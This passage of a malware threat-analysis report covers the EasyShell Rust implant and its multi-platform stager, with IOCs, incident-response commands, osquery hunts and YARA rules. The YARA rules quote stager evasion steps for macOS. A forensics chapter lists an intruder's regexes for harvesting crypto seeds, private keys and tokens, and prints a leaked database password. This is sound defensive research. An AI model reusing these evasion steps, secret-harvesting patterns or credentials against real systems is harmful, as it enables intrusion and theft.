@subql/common 5.8.3 on npm: secrets theft plus remote shell (incident tracker)2026-10-05YesYesMedium: remote shell on developer hostsNone found
tensorlake 0.5.144 on npm: Shai-Hulud style stealer (incident tracker)2026-10-08YesYesMedium: credential theft and self-spreadingNone found
106 malicious npm and PyPI packages, 26 to 28 October (Safeguard)2026-10-26 to 28YesYesMedium: install-time code on developer machinesNone found
agent-framework on PyPI: collector only, no second stage reported (CSA)2026-11-17YesPartlyLowNone found
Java4Shell, OpenJDK CVE-2026-114938 (Censys)2026-11-17Yesx86-64 JVMs only by the CISA descriptionPartial: Apple Silicon JVMs are outside that descriptionNone found
PHP2Shell, CVE-2026-109618/1096192026-10-21YesPHP on macOS is rarely internet facingLow for macOSNone found (20.1)
▸ Linux-only flaws (SSHole on musl, Fragnesia, the MPTCP kernel flaw CVE-2026-98432 found by Anthropic researchers) cannot explain the macOS branch. If the entry is a developer supply chain or stolen credentials, look for the stager on build hosts, CI runners and developer laptops, not only on web servers.

■ 23.9 How to use this matrix

  • Score 75 and above: patch or isolate now, then hunt with chapter 25 on hosts that were exposed before the patch.
  • Score 55 to 74: patch in the current cycle and confirm exposure (internet facing, feature enabled).
  • Below 55: confirm you do not run the product, then close the row.
  • A KEV listing proves exploitation somewhere, not on your host and not by this actor.
[EDU] What to learn here
  • Keep the evidence fields (KEV, EPSS, SSVC) separate from your own judgement (fit). Then anybody can rerun the score when EPSS or KEV changes.
  • Record when each value was collected. EPSS and KEV status change daily, so an undated score cannot be checked.

《 24. CTI: IOC triage (enriched) 》

IndicatorTypeRoleSourceConfidenceStatusTriage / recommended action
192[.]3.31[.]148:8443IP:portStager, payloads, beacon C2This caseConfirmedNot in public feeds (2026-11-20)Block and alert; retro-hunt flows since April 2026
hxxps://192[.]3.31[.]148:8443/file/<arch>URLPayload routes (7)StagerConfirmedNot publicProxy block; hunt the path on any host
hxxps://192[.]3.31[.]148:8443/api/v2/syncURLBeaconl32 configConfirmedNot publicProxy and TLS-inspection rule with X-Client-Id
fe1666de...e81d4SHA256l32 payloadThis caseConfirmedNot publicEDR hash block; sandbox retro-hunt
c31f7fe4...e3d95696, 7fbed01a...8d481cabe6b6SHA256l64 and l128 payloads (Linux x86-64, LoongArch)This caseConfirmedNot publicEDR hash block
12b5bbae...234ab6cf, d1ec7081...bc0501be4SHA256a32 and a64 payloads (Linux ARM)This caseConfirmedNot publicEDR hash block on ARM servers and devices
fce33d2a...ac465f2c, b389c22a...d7cac7bfSHA256darwin_amd64 and darwin_arm64 payloads (macOS)This caseConfirmedNot publicMDM / EDR hash block on Macs
http-beacon-implant-55554944<UUID>Code signaturemacOS client identifier as serveddarwin payloadsConfirmedNot publicosquery signature table; may change after the stager re-sign
polkitd outside the polkit package pathFileDropped payloadStagerConfirmedn/aVerify package ownership; image the host if foreign
~/Library/Caches/polkitdFilemacOS payloadStagerConfirmedn/aMDM query for hidden ad-hoc signed files
Kernel-thread name with an exe linkProcessMasqueradel32Confirmedn/aosquery fleet hunt (chapter 25)
easyshell-http-beacon-implant, !ES/ slotsStringFamily markerl32ConfirmedNot publicYARA family rule
192[.]3.31[.]219IPOld AgentTesla hosting, same /22URLhausConfirmedOffline since 2020No action for this case
192[.]3.211[.]176:19999IP:portVShell C2 per OSINT note AThreatFox (not read)UnverifiedUncheckedCheck the entry and the TLS certificate before any link
119[.]45.243[.]154:8443IP:portSame stager template, December 2025Incident write-upConfirmedHistoricContext only

■ 24.1 IOC additions in v2

IndicatorTypeRoleConfidenceAction
redeploy latest listener payloadStringFramework operator text in l32ConfirmedAdded to the YARA family rule
!inj: platformStringInjection command marker in l32ConfirmedAdded to the YARA family rule
192[.]3.28[.]0/22 (AS36352)PrefixHosting context of the C2ConfirmedContext only, do not block the whole AS

■ 24.2 Copy-friendly IOC list (defanged)

# hashes: sha256 / sha1 / md5
l32           fe1666de877da2680ebd637387d9700482425d5d93947202a48af247305e81d4
              1adfa421724d272d3e1a8f211bf948a55d4ad3fe  754b9d13e9fa687a5bf471423722e06c
a32           12b5bbaecc618c16f2b077ab6549b9b34fbd07de409af080aac7f2a8234ab6cf
              8b3d1d3ee8e3500c7115bba939e047450a0783ac  d44eb9976ec3aee864f076a42b152385
a64           d1ec7081abf4a46b6df2a988f291458b09dc24badf23738fe48ed27bc0501be4
              c1e9edbdc877a9365343dc0dfad9d1660073750a  4c1ef60aa2585ff3a5e38ea49babe331
l64           c31f7fe43c3b144a8e35533062663928ad23534db0cd86abf8ebcc3e93d95696
              547cc85bc060b6ebf220fbb82146476627150856  df786f29ddcd086130cb8730ce6c9612
l128          7fbed01a062c5204be53ea18acd64e2463b962f04977c4eba8e3d8481cabe6b6
              550bec09b879e0c8e07a9d58909e1fb5a4ac0c74  64b940bc41468f51933e0bdebe23f493
darwin_amd64  fce33d2a9ff591ce02614d8e89729db074891b058762bb2a0bb2c1a7ac465f2c
              c1762547592e298cabc0e90309180fa79247ebd3  8d25e6d0dde86738484550e3f68b2a19
darwin_arm64  b389c22ac1268d43d9bdede5fdfb41a27cf202788917c96a80ef90c8d7cac7bf
              7e827b3a7ba5e5064018244cbf594d47a34aefae  6a9adbc92009568bae5cb2d10f24c02c

# macOS code signature identifier (as served)
http-beacon-implant-55554944<LC_UUID>

# C2 / download server
192[.]3.31[.]148:8443

# URLs
hxxps://192[.]3.31[.]148:8443/file/darwin_amd64
hxxps://192[.]3.31[.]148:8443/file/darwin_arm64
hxxps://192[.]3.31[.]148:8443/file/l64
hxxps://192[.]3.31[.]148:8443/file/l32
hxxps://192[.]3.31[.]148:8443/file/a32
hxxps://192[.]3.31[.]148:8443/file/a64
hxxps://192[.]3.31[.]148:8443/file/l128
hxxps://192[.]3.31[.]148:8443/api/v2/sync

# host artifacts
/usr/bin/polkitd  /usr/local/bin/polkitd  /usr/libexec/polkitd(*)  /tmp/polkitd
~/Library/Caches/polkitd
writeablex (probe file, short lived)
(*) legit only when owned by the polkit package

# network artifacts
POST /api/v2/sync  header X-Client-Id
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
User-Agent: Windows Chrome/131.0.0.0 from a Linux or macOS host

# implant strings
easyshell-http-beacon-implant  crates/impl-core/src/  !ES/9/UAGT/  !ES/7/SBOX/
ESCH chunk:  ES_SHELL_BATCH_MS  es-mux-agg  es-hop-wire-v1 (XOR 0x5A)
LY6nDGIwrDlZZrvHtRseg+IWBrJuvbT6LFHEUM7I3lo=
8M5c7faXc4Q8NdXgpCRiIdhhCTyAujKw
[ITW] Artifact spotted in the wild attack
▸ OSINT at the time of writing: no public report, feed entry or write-up was found for this IP, the /file/ routes, the hash or the implant strings. The public EasyShell notes describe the framework, not this C2.
Part III — Defense

《 25. Playbook for IR responders and DFIR 》

Golden rule: do not kill the fake kernel thread first. Collect its process state and memory, freeze it, cut its network, then clean. Killing it first loses the live config, the session keys and the tunnel table.

ALERT -> HOT 1 triage -> HOT 2 observe -> HOT 3 acquire -> HOT 4 freeze
      -> COLD 1 image -> COLD 2 timeline -> COLD 3 artifacts -> SCOPE -> CLEAN

■ 25.1 Hot forensics 0: confirm the alert

ps -eo pid,ppid,user,comm,args | grep -E "\[(kworker|migration|rcu_sched|watchdog)"
ls -l /proc/<PID>/exe          # a real kernel thread has no exe link
rpm -qf /usr/bin/polkitd || dpkg -S /usr/bin/polkitd
[EDU] What to learn here
  • One command decides the case: a kernel-thread name whose /proc/<pid>/exe points to a file is a user process in disguise.

■ 25.2 Hot forensics 1 to 3: observe and acquire

cat /proc/<PID>/cmdline | tr "\0" " "; cat /proc/<PID>/environ | tr "\0" "\n"
ls -l /proc/<PID>/fd; cat /proc/<PID>/maps
ss -tnp | grep <PID>
cp /proc/<PID>/exe /evidence/polkitd.bin; sha256sum /evidence/polkitd.bin
# memory: use your approved acquisition tool (AVML or LiME) before any change

■ 25.3 Hot forensics 4 and 5: freeze and contain

kill -STOP <PID>                # freeze, do not kill
# block 192[.]3.31[.]148 and tcp/8443 at the host firewall and upstream
# then check for child shells, SOCKS listeners and relay sessions

■ 25.4 Cold forensics 1 and 2: image and timeline

  • Image the disk; keep the frozen process memory with the image.
  • Timeline /usr/bin, /usr/local/bin, /usr/libexec, /tmp around the polkitd birth time; look for the short-lived writeablex in audit logs.
  • Find the parent of the stager: web server, application runtime or SSH session logs at the same time.
  • Check /etc/ld.so.preload, cron, systemd units and shell profiles as a standard step (no persistence was found in l32, but plugins can add it).

■ 25.5 radare2 on the evidence

r2 -A /evidence/polkitd.bin
[0x...]> iI                         # toolchain, static, arch
[0x...]> pd 40 @ 0x08062a04         # config table builder
[0x...]> px 64 @ 0x082be821         # C2 field
[0x...]> pd 30 @ 0x080b2721         # XOR 0x5A decoder
[0x...]> izz~easyshell
[EDU] What to learn here
  • Same offsets, same views as chapters 6 to 9. If your build differs, search the strings first and follow the cross references.

■ 25.6 Hunting at scale with osquery

SELECT pid, name, path, cmdline, cwd, on_disk FROM processes WHERE (name LIKE '[kworker/%' OR name LIKE '[migration/%' OR name LIKE '[rcu_sched]%' OR name LIKE '[watchdog/%' OR name LIKE 'kworker/%' OR name LIKE 'migration/%' OR name = 'rcu_sched' OR name LIKE 'watchdog/%' OR cmdline LIKE '[kworker/%' OR cmdline LIKE '[rcu_sched]%') AND path != '';

The full pack (six queries) is in the GitHub detection pack, chapter 27.

■ 25.7 If the host runs PHP: check the entry point

  • Apache or PHP error bursts with "Allowed memory size exhausted" and worker segfaults around the polkitd birth time are a PHP2Shell sign.
  • Shells, curl or wget started by the web server user (www-data, apache, nobody) toward a raw IP on 8443.
  • Patch PHP to 8.5.12, 8.4.27, 8.3.36, 8.2.35 or the distribution backport; rotate secrets that lived in PHP worker memory.
  • Report any match: it is the evidence 20.2 asks for.

■ 25.8 Containers

  • Run the same /proc/*/exe check inside each container namespace; kernel-thread names never appear inside a container.
  • Compare the image layer with the running file system for new files in bin directories.
  • Rebuild from a clean image; do not clean a container in place.

■ 25.9 Tabletop exercise (30 minutes)

TimeInjectExpected decision
00:00EDR shows [kworker/0:0] with an exe link on a web serverDeclare incident, start hot forensics, do not kill
00:10Proxy shows POST /api/v2/sync to a raw IP on 8443Collect memory, then block egress
00:20A second server shows the same hashFleet hunt with osquery, scope by egress logs
00:30Management asks who did itReport tool and infrastructure; operator unknown

■ 25.10 Who does what (RACI)

TaskSOCLinux adminCloud teamIR lead
Triage alertRCIA
Memory and disk acquisitionCRCA
Egress blockRCRA
Fleet huntRCCA
Rebuild and patchIRRA

■ 25.11 Contain, eradicate, recover

StepActionWhy
ContainFreeze the process, block the C2 and tcp/8443 egress, isolate the hostStops tunnels and plugin delivery
EradicateRebuild from known good media; rotate credentials used on the hostPlugins may have taken credentials
RecoverPatch the entry service, restore data, monitor for the beacon patternThe stager needs the same entry again

《 26. Detection and mitigation checklist 》

  • Processes: kernel-thread names with an exe link; polkitd outside the package path; shells with HISTFILE=/dev/null.
  • Files: polkitd in /usr/bin, /usr/local/bin, /tmp; hidden ad-hoc signed ~/Library/Caches/polkitd.
  • Persistence: none in l32; still check /etc/ld.so.preload, cron, systemd and shell profiles after plugin use.
  • Network: downloads from /file/<arch>; POST /api/v2/sync with X-Client-Id; Windows Chrome UA from servers; raw IP on tcp/8443.
  • Hardening: server egress allow-list; no shell for web service accounts; FIM on system bin directories; patch chapter 23 rows.
  • macOS: polkitd (macOS has none) in a user Caches folder; screencapture -x or osascript mouse queries from it; TCC prompts or denials naming it; code signature identifier http-beacon-implant-*.
  • Developer and admin workstations: check Macs and Linux laptops for ~/Library/Caches/polkitd or polkitd in user folders; review LiteLLM 1.107.0 and the October npm/PyPI incidents in 23.8; rotate SSH keys and cloud credentials exposed by them.
  • Web servers: web server user spawning sh, curl -k or wget --no-check-certificate; PHP patched for PHP2Shell (25.7).
  • Response: follow chapter 25, freeze before kill.
  • Detection example: YARA family rule MMD_Linux_EasyShell_Rust_Implant on memory dumps and new binaries.

《 27. Detection content: YARA, Sigma, Snort, Suricata, osquery, STIX 》

The full pack is published on the MalwareMustDie GitHub. Only the YARA rules are printed here.

FileTypeWhat it detects
yara/MMD_EasyShell.yarYARAStager (variant and template), implant family (ELF and Mach-O), macOS client, XOR 0x5A strings, payload set of this C2
sigma/*.yml (8)Sigmaweb server spawning the stager download, macOS client screencapture and AppleScript mouse check, writeablex probe, polkitd outside package path, macOS hide/xattr/codesign, beacon and payload routes, C2 connection
snort/MMD_easyshell.rulesSnortC2 host, payload routes, beacon, header set, stager in HTTP response
suricata/MMD_easyshell.rulesSuricataSame logic with sticky buffers
osquery/MMD_easyshell_hunt.confosqueryKernel-thread name with exe, polkitd path, drop files, C2 sockets, history suppression, payload set hashes, web server user running curl/wget with TLS checks off, macOS cache drop and signature identifier
stix/MMD_easyshell_stix21.jsonSTIX 2.1Malware, tool, infrastructure, indicators, ATT&CK patterns
RuleTargetNotes
MMD_Sh_EasyShell_VShellTemplate_StagerStager script (this variant)writeablex probe + /file/<arch> routes + polkitd or macOS steps
MMD_Sh_VShellTemplate_Writeablex_ProbeAny VShell-template stagerBroader, lower confidence; also matches the older ?a=l64&stage=true form
MMD_Linux_EasyShell_Rust_ImplantEasyShell implant, any buildCrate paths (Linux and macOS prefixes), signature identifier, !ES slots, beacon, tunnel and listener markers; ELF and Mach-O; hits all seven payloads
MMD_MacOS_EasyShell_Rust_ImplantEasyShell macOS clientmacOS module paths, screencapture (XOR), AppleScript mouse check, TCC hint, signature identifier
MAL_Linux_EasyShell_ESCH_Rust_ImplantEasyShell implantAnalyst note #3 rule kept as written
MMD_EasyShell_XOR5A_StringsEasyShell implantXOR 0x5A protected strings, survives path stripping
MMD_EasyShell_PayloadSet_SampleThe seven builds of this C2In the .yar file only (contains the unmasked C2); former name MMD_Linux_EasyShell_l32_Sample
/*
   MMD_EasyShell.yar
   EasyShell Rust beacon implant and its VShell-template multi-platform stager
   MalwareMustDie / unixfreaxjp, 2026-11-20, TLP:CLEAR
   Tested: implant rules against all seven payloads served by the C2 (l32, l64, l128, a32, a64,
   darwin_amd64, darwin_arm64) and both stager rules against the transcribed stager text (no stager hits on any binary).
   Rule 3 is adapted from an internal analyst note (#3) and kept for compatibility.
*/

rule MMD_Sh_EasyShell_VShellTemplate_Stager
{
  meta:
    description = "Multi-platform shell stager (VShell template + /file/<arch> routes, polkitd drop, macOS Gatekeeper handling)"
    author = "MalwareMustDie / unixfreaxjp"
    date = "2026-11-20"
    reference = "MMD-073-2026"
    tlp = "CLEAR"
  strings:
    $p1 = "touch /usr/local/bin/writeablex" ascii
    $p2 = "touch /usr/libexec/writeablex" ascii
    $p3 = "touch /usr/bin/writeablex" ascii
    $p4 = "export PATH=$PATH:$(pwd)" ascii
    $r1 = /:\d{2,5}\/file\/darwin_(amd|arm)64"/ ascii
    $r2 = /\/file\/(l64|l32|a32|a64|l128)"/ ascii
    $r3 = "loongarch64) DL=" ascii
    $n1 = "v=\"polkitd\"" ascii
    $m1 = "chflags hidden \"$v\"" ascii
    $m2 = "xattr -c \"$v\"" ascii
    $m3 = "codesign --force --sign - \"$v\"" ascii
    $m4 = "$HOME/Library/Caches" ascii
    $d1 = "_create_unverified_context()" ascii
  condition:
    filesize < 64KB and 2 of ($p*) and
    ( ($n1 and 1 of ($r*)) or (2 of ($m*) and 1 of ($r*)) or (#r2 >= 3 and $d1) )
}

rule MMD_Sh_VShellTemplate_Writeablex_Probe
{
  meta:
    description = "Generic writable-path probe used by VShell-template stagers (older ?a=l64&stage=true and newer /file/<arch> forms); broader, lower confidence"
    author = "MalwareMustDie / unixfreaxjp"
    date = "2026-11-20"
    reference = "MMD-073-2026"
  strings:
    $p1 = "touch /usr/local/bin/writeablex" ascii
    $p2 = "touch /usr/libexec/writeablex" ascii
    $p3 = "touch /usr/bin/writeablex" ascii
    $p4 = "rm -rf /usr/local/bin/writeablex" ascii
    $a1 = "uname -m" ascii
  condition:
    filesize < 64KB and 3 of ($p*) and $a1
}

rule MMD_Linux_EasyShell_Rust_Implant
{
  meta:
    description = "EasyShell (impl-core) Rust HTTPS beacon implant, any build: crate paths, !ES config slots, beacon and tunnel markers"
    author = "MalwareMustDie / unixfreaxjp"
    date = "2026-11-20"
    reference = "MMD-073-2026"
    tlp = "CLEAR"
  strings:
    $crate1 = "easyshell-http-beacon-implant" ascii
    $crate2 = "crates/impl-core/src/" ascii
    $crate3 = "/c/impl-core/src/" ascii
    $crate4 = "http-beacon-implant-55554944" ascii
    $s1 = "!ES/9/UAGT/" ascii
    $s2 = "!ES/7/SBOX/" ascii
    $s3 = "!ES/13/CTYP/" ascii
    $s4 = "!ES/14/HDRS/" ascii
    $s5 = "!ES/5/PROXY/" ascii
    $s6 = "!ES/1/PASS/" ascii
    $s7 = "!ES/8/BURI/" ascii
    $s8 = "!ES/10/WAIT/" ascii
    $s9 = "!ES/11/JITR/" ascii
    $b1 = "es-beacon-uplink" ascii
    $b2 = "beacon first POST timeout" ascii
    $b3 = "ESCH chunk:" ascii
    $b4 = "ES_SHELL_BATCH_MS" ascii
    $b5 = "es-mux-agg" ascii
    $b6 = "es-pump-tcpmux" ascii
    $b7 = "redeploy latest listener payload" ascii
    $b8 = "!inj: platform" ascii
  condition:
    (uint32(0) == 0x464c457f or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xbebafeca)
    and filesize < 20MB
    and ( $crate1 or $crate4 or ((#crate2 >= 5 or #crate3 >= 5) and 2 of ($b*)) or 4 of ($s*) or (2 of ($s*) and 2 of ($b*)) )
}

rule MMD_MacOS_EasyShell_Rust_Implant
{
  meta:
    description = "EasyShell (impl-core) macOS client: Mach-O with macOS-only modules (native screencapture, osascript mouse check), ad-hoc signature identifier http-beacon-implant-<UUID>"
    author = "MalwareMustDie / unixfreaxjp"
    date = "2026-11-20"
    reference = "MMD-073-2026"
    tlp = "CLEAR"
    tested = "darwin_amd64 fce33d2a...465f2c, darwin_arm64 b389c22a...c7bf"
  strings:
    $m1 = "/c/impl-core/src/sandbox_mouse.rs" ascii
    $m2 = "/c/impl-core/src/screenshot/mod.rs" ascii
    $m3 = "to get position of mouse" ascii
    $m4 = "macOS TCC may block process listing" ascii
    $m5 = "http-beacon-implant-55554944" ascii
    $m6 = "/usr/sbin/screencapture" xor(0x5a)
    $m7 = "export BASH_SILENCE_DEPRECATION_WARNING=1" ascii
    $e1 = "!ES/9/UAGT/" ascii
    $e2 = "ESCH chunk:" ascii
  condition:
    (uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xbebafeca)
    and filesize < 20MB and 3 of ($m*) and 1 of ($e*)
}

rule MAL_Linux_EasyShell_ESCH_Rust_Implant
{
  meta:
    description = "Detects EasyShell (ESCH) Rust HTTP beacon C2 implant (analyst note #3 rule, kept as is)"
    author = "CTI / RE Analysis"
    date = "2026-11-19"
  strings:
    $slab1 = "!ES/8/BURI/" ascii
    $slab2 = "!ES/7/SBOX/" ascii
    $slab3 = "!ES/9/UAGT/" ascii
    $slab4 = "!ES/1/PASS/" ascii
    $crate = "easyshell-http-beacon-implant" ascii
    $chunk = "ESCH chunk:" ascii
    $hop_xor = { 3f 29 77 32 35 2a 77 2d 33 28 3f 77 2c 6b } // "es-hop-wire-v1" ^ 0x5A
  condition:
    uint32(0) == 0x464c457f and ( $crate or $chunk or $hop_xor or 3 of ($slab*) )
}

rule MMD_EasyShell_XOR5A_Strings
{
  meta:
    description = "EasyShell single-byte XOR 0x5A protected strings (survives removal of plain crate paths)"
    author = "MalwareMustDie / unixfreaxjp"
    date = "2026-11-20"
    reference = "MMD-073-2026"
  strings:
    $x1 = "es-hop-wire-v1" xor(0x5a)
    $x2 = "screen control" xor(0x5a)
    $x3 = "folder zip prepare failed" xor(0x5a)
    $x4 = "Remove failed" xor(0x5a)
  condition:
    (uint32(0) == 0x464c457f or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and 2 of them
}

[EDU] What to learn here
  • Pair a narrow rule (this build) with a family rule (any build) and a technique rule (template). Each one fails differently, so together they last longer.

《 28. Summary for responders 》

Linux/EasyShell is a Rust client of a Chinese red team C2 framework found running from one ColoCrossing host, delivered by a VShell-template stager for Linux and macOS.

  • Entry points: not observed; any shell command execution on an internet-facing host is enough (chapter 23).
  • Defense evasion: polkitd name, kernel-thread process names, anti-sandbox, XOR strings, no shell history, macOS Gatekeeper handling.
  • Persistence: none in the l32 core; plugins may add it.
  • C2: HTTPS POST /api/v2/sync on tcp/8443 with X-Client-Id, Windows Chrome UA and zh-CN Accept-Language.
  • Payloads: all seven analysed, one configuration; the macOS client takes silent screenshots (chapter 15); macOS chain in 18.3.
  • Scope: Linux servers, CI runners and developer Macs; the entry can be a web RCE, a poisoned package or stolen credentials.
  • Added in this post: framework identification, BGP context, cross review of six notes, detection pack.

Incident response key points: freeze before kill, take memory, block egress, hunt the fleet with the kernel-thread exe check, rebuild, rotate credentials, report the tool and the infrastructure, not a guessed actor.

Read & use this knowledge with caution, this post is a Linux threat analysis education material

《 29. Inside the victim node: hot forensics 》

The 706-line .bash_history capture documents a multi-session "black-on-black" (黑叽黑) intrusion, source-code theft, and automated cryptocurrency-seed mining operation carried out by the EasyShell threat actor (192[.]3.31[.]148:8443). This history seems to be execution of two different hands on the same root shell, which leaving possibility that the actor may not working alone, or, we may have a double threat actors writing execution in the shell under similar period of time, it's why I prefer to analyze and share it as a separation.

The first hand inventories and packs Chinese remote-control kits. The second hand hunts wallets and keys, and at line 333 pulls a script from the same host as the earlier case: 192[.]3[.]31[.]148:8443. Below is the summary and follows by the detail part. (Note: We called it hot forensics due to the device was running while the evidence was acquired at the same time period of the intrusion).

■ 29.1 Hijacking Local C2 Panels

The intruder forged a 30-day super-admin JWT for Fisher C2 (using the local .jwt_secret) to query the local Node.js API. They then escalated to interrogating SQLite (fisher.db, refc2.db) and MySQL (caishenge, ios_admin, niubi) databases to enumerate compromised Android and iOS devices, dumping hardware profiles, carrier info, and online status.

■ 29.2 Source Code Inventory & Exfiltration

The attacker audited file counts, line counts, and database dumps across all hosted malware panels (including Moying V2, Caishenge V2, iOS Coruna, and KFC Zero-Click). They packaged these into .tar.gz/.tgz archives and subsequently deleted temporary staging files to mask the exfiltration footprint and free disk space.

■ 29.3 Crypto-Seed and Credential Mining via Regex

After installing ripgrep, the attacker executed binary-safe searches across raw .ibd InnoDB tables, .sqlite databases, and extracted victim iOS backups. Key regex targets included:

Regex PatternTarget Artifact / Secret Type
bc1[ac-hj-np-z02-9]{35,75}Bitcoin Native SegWit (Bech32 / Taproot) addresses
T[1-9A-HJ-NP-Za-km-z]{33}TRON (TRX / TRC-20 USDT) addresses
0x([A-F,a-f,0-9]{40})Ethereum / EVM (ETH / BSC / ERC-20) wallet addresses
0x([a-f,0-9]{64})Raw 256-bit (64-hex) EVM Private Keys
([a-z]{3,8}\s){11}[a-z]{3,8}12-word BIP-39 Mnemonic Seed Phrases
(?:gh[pousr]_[A-Za-z0-9]{36,255}|github_pat_[A-Za-z0-9]{22,})GitHub Personal Access Tokens & OAuth/App Tokens
"BEGIN OPENSSH"OpenSSH & PEM Private Keys
▸ Note: This hot forensics analysis is based on evidence of the actor conducting the malicious operation. It is treated as forensics examination evidence in this chapter only and is not mixed with other parts of the report which are based on static binary analysis.

■ 29.4 Details for shell history forensics examination:

29.4-I: Intrusion into a Multi-Platform Mobile Exploitation and C2 Infrastructure: From Administrative Takeover to Source Code and Credential Theft

Instead of hitting a routine enterprise host, the intruder compromised a central Chinese mobile-exploitation R&D and multi-tenant C2 server housing six co-located Android and iOS malware frameworks—including i.131422.com (L229, L248, L350, L407, L667), the exact production server (hostname C202609121655717) externally exposed in Censys's October 7, 2026 DarkSword/Coruna Open Directory Finding Report. Across 14 interactive shell sessions (exit boundaries at L1, L64, L84, L113, L122, L185, L204, L212, L214, L334), the attacker:

  • Hijacked Local C2 Panels (L8–L122): Forged a 30-day super-admin JWT for Fisher C2 and interrogated SQLite (fisher.db, refc2.db) and MySQL (caishenge, ios_admin, niubi) databases to enumerate compromised Android and iOS devices.
  • Inventoried & Exfiltrated Source Code (L12–L332): Audited file counts, line counts, AI coding histories (claude / codex), and database dumps across all hosted malware panels, packaging them into .tar.gz/.tgz archives before wiping staging files to free disk space (L313–L327).
  • Re-Anchored EasyShell Persistence (L333): Re-executed the raw-IP EasyShell stager 192[.]3[.]31[.]148:8443/file
  • Mined Crypto Wallets & Credentials via ripgrep (L336–L706): Installed ripgrep (apt install ripgrep, L337) and swept raw .ibd InnoDB tables, .sqlite databases, extracted victim iOS backups, and .tgz bundles for BTC (bc1...), TRX (T...), ETH (0x...), 12-word BIP-39 mnemonics, GitHub tokens, and SSH keys.

29.4-II: Analysis by Regex-Matched Targets & Offensive Tooling

29.4-II: A. Breakdown of the 10 Target Systems in Your Regex (blackhole|coruna|darksword|fisher|backend|fengjc|caishenge|claude|codex|iOS肯德基无感/admin-web)

Regex Token Line Numbers in History Identified System / Component Technical & Forensic Findings
fisher L3, L8–L19, L41–L44, L53–L58, L78–L82, L85–L98, L114–L115, L119–L120, L151–L184, L202, L208–L209, L241, L286, L301, L321, L326–L327, L394, L458–L463, L649 Fisher C2 / PandaV6 (熊猫V6 / 小浩浩-来咯V7 / 嘴哥管理系统 ZGL) — Android Banking RAT (ts5025[.]cc) Architecture: Hybrid Node.js (server.js, server_remote.js, user_mgmt.js on port 8443 under /opt/fisher-node/) + PHP API (/var/www/ts5025[.]cc/api/ for auth, APK tasks, roles, users) + SQLite (/opt/fisher-node/data/fisher.db).

APK Build Pipeline: /opt/fisher-node/apk-builder/ compiles trojan APKs from kiss_template.apk and ghost_template.apk (L163), protects them with dpt-shell/ (L164–L165) DEX packing, auto-builds via auto_build_config.json (L462), outputs to apk-output/, and pairs with phishing pages in landing-templates/落地/ (L167–L168).

Archives Staged: fisher-node.tar.gz, fisher-source-20260928.tar.gz, src-05-fisher-data.tgz, ts5025-src.tgz, fs.part.00/01.
caishenge L20–L23, L77, L102–L104, L116–L118, L267, L509–L510, L647, L692 Caishenge V2 (财神哥 iOS C2 V2 / ios.ts5025[.]cc) — iOS Exploit C2 & Crypto Drainer Architecture: Dockerized FastAPI + MySQL 8.0 stack (/www/docker-compose.yml, /www/deploy.conf, /www/sql/caishenge.sql, container caishenge-v2-mysql).

Hardcoded Credentials: MySQL root password DV1UloCHlHVfJXWh (L102, L116, L267, L509) plus local user caishenge (L692).

Tables & Loot: devices (device_udid, platform_version, is_controlled, carrier_names, total_gb) and wallet_data (wallet_type, address, mnemonic). Archived as pkg_caishenge.tgz (L647).
backend L21–L28, L53–L55, L59, L62, L68–L76, L82, L352, L393 Caishenge / iOS Exploit Kit FastAPI Core (/www/backend/) Houses Python FastAPI application modules (/www/backend/app/*.py, app/models/wallet.py), WebSocket/HTTP sync endpoints (/www/backend/static/sync/), and modular iOS exploit chains (/www/backend/chains/). Patched via rfix-backup-20261007-140947/backend/patches/backend_patch.tar.gz (L393).
darksword L24, L397, L451, L491–L492, L516, L642 DarkSword / DarkSword-RCE — iOS 17 – 18.7 Exploit Chain & C2 Stored under /www/backend/chains/ (C10 + DarkSword, L24), backed by dedicated MySQL databases darksword (L491–L492) and darksword_rce (L516, dumped to db_darksword_rce.sql.gz, L642). Contains iOS kernel/WebKit offset tables (imported_offsets/darksword_22F76_legacy_offsets.json, L451) and full source bundle darksword_full.tar.gz (L397).
coruna L33, L252–L253, L266, L355, L385, L477, L518–L519 Coruna (iOS Coruna / dingxin8[.]cc / i.131422.com) — iOS 13 – 17.2.1 Exploit Kit & Wallet Stealer Deployed under /wwww/ (dingxin8[.]cc, L33–L36) and /www/wwwroot/i.131422.com/ (L229, L248, L667). Uses MySQL database ioscoruna (hardcoded credentials ioscoruna:ioscoruna@127.0.0.1:3306, L252, L385) containing tables wallets.ibd (L519), decrypted_wallets.ibd (L355), and mnemonic_hits.ibd (L477). Accompanied by adm888app/ wallet-sweeping scripts (derive_all.js, wallet18.json, wallet18_state.json, wallet18_auto.py, L350, L495, L671–L689), server/scan_keychain_seeds.py (L414), and tools/balance_sync.js (L483).
Blackhole L662, L664, L666, L696 Blackhole iOS Exploit Kit (src-02-blackhole-ios.tgz) Packaged iOS exploit framework archive (src-02-blackhole-ios.tgz) inspected by the intruder across /root and /tmp alongside se_deploy_kit.tgz (L697) and c10_chains.tgz (L698).
iOS肯德基无感/admin-web L70–L73 "iOS KFC Zero-Click / Silent" (iOS肯德基无感) — iOS Exploit Delivery & Admin Panel Located at /wwww/iOS肯德基无感/ (L70–L73), split into a Python backend (/wwww/iOS肯德基无感/backend/*.py) and a TypeScript/React management frontend (/wwww/iOS肯德基无感/admin-web/src/*.ts, *.tsx). ("肯德基无感" = silent/zero-click iOS drive-by exploitation.)
fengjc L37–L39, L53–L55, L82, L182–L183 FengJC Sales Storefront (/opt/fengjc_site/ — FENGJC 销售站) Commercial/automated sales website co-hosted at /opt/fengjc_site/ (L38, L82, L183) alongside /opt/fisher-node/ to market or provision the malware/exploit panels.
claude & codex L48–L50, L82, L215–L219, L584–L595 Anthropic Claude Code (/root/.claude/) & OpenAI Codex CLI (/root/.codex/) 1. Developer Attribution Artifact: The original malware operators built and maintained these C2 panels on this server using Claude Code and Codex CLI, leaving behind /root/.claude/, /root/.codex/, history.jsonl (L584), and session transcripts under projects/-root (L586–L595).

2. Attacker Usage: The intruder audited the size/contents of .claude and .codex (L48–L50, L82, L584–L595) to harvest developer prompts, API keys, and architecture notes, and also launched claude and codex interactively (L215–L219).

29.4-II: B. Auxiliary Malware, Tunneling & Post-Exploitation Tools Observed

